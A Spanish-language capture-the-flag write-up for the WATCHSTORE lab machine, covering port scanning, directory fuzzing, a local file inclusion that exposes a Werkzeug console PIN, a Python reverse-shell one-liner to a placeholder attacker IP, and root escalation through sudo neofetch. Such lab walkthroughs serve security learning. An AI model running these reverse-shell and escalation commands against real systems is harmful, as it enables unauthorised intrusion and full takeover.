Write-ups

Resolución del CTF WATCHSTORE


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para saber cuáles están activos.

sudo nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.101

Los parámetros utilizados son:

  • -p-: Escaneo de todos los puertos (65535)
  • –open: Solo muestra puertos abiertos
  • -sCV: Combina -sC (scripts por defecto) y -sV (detección de versiones)
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
8080/tcp open  http    Werkzeug httpd 2.1.2 (Python 3.11.2)
|_http-title: Did not follow redirect to http://watchstore.thl:8080/
|_http-server-header: Werkzeug/2.1.2 Python/3.11.2

Nos encontramos con dos puertos abiertos, el puerto 22 con SSH OpenSSH 9.2p1 y el puerto 8080 con un servidor web Werkzeug 2.1.2 con Python 3.11.2.

Configuración del Fichero Hosts

Como observamos en el escaneo, el puerto 8080 solicita el acceso mediante el dominio: watchstore.thl

sudo nano /etc/hosts

Exploración Web

Al acceder al servidor web nos encontramos con una página que hace la función de una galería de fotos sobre relojes.

Enumeración de Directorios

Con la herramienta Gobuster, realizamos un fuzzing de directorios para obtener las rutas web que no están a la vista dentro del dominio.

gobuster dir -u http://watchstore.thl:8080 -w /usr/share/wordlists/directory-list-lowercase-2.3-medium.txt -x html,php,txt,py,sh

Encontramos los siguientes directorios:

  • /products (Status: 200)
  • /read (Status: 500)
  • /console (Status: 200)

El fichero /read nos muestra un error ocurrido por una excepción lanzada por la falta de un parámetro llamado: id. Además nos indica que el fichero se encuentra en la ruta: /home/relox/watchstore/app.py

El fichero /console nos muestra una consola bloqueada que puede ejecutar código Python, y nos indica que el PIN se encuentra en la salida estándar del servidor.

Explotación LFI

Tomando en cuenta que existe una consola Python expuesta y que el módulo read posee una excepción con parámetro conocido, podemos aprovechar un LFI para leer el archivo app.py y obtener el PIN.

Comprobamos el código del fichero app.py:

http://watchstore.thl:8080/read?id=/home/relox/watchstore/app.py

Encontramos el PIN de la consola en el código fuente.

Reverse Shell

Introducimos el PIN en la página de bloqueo de la consola.

Ponemos el puerto 4444 en escucha:

nc -lvnp 4444

Ejecutamos comandos del sistema con el módulo os de Python en la consola:

import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

Y obtenemos acceso a la máquina como el usuario relox.

Tratamiento de la TTY

Creamos una grabación de sesión en una bash:

script /dev/null -c bash

Suspendemos nuestra sesión actual con Ctrl + Z y configuramos nuestra stty:

stty raw -echo; fg
reset xterm

Importamos las variables de entorno:

export TERM=xterm
export SHELL=/bin/bash

Escalada de Privilegios

Verificamos qué binarios se pueden ejecutar con permisos de otros usuarios:

sudo -l

Vemos que podemos ejecutar con el usuario root y sin contraseña el binario /usr/bin/neofetch.

Al consultar GTFOBins vemos que podemos escalar privilegios con neofetch.

Creamos y guardamos en una variable un directorio temporal único:

TF=$(mktemp)

Inyectamos en la variable un script bash para ejecutar una shell bash:

echo 'exec /bin/bash' >$TF

Sustituimos el fichero de configuración de neofetch por el que creamos:

sudo neofetch --config $TF

Y nos convertimos en root.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *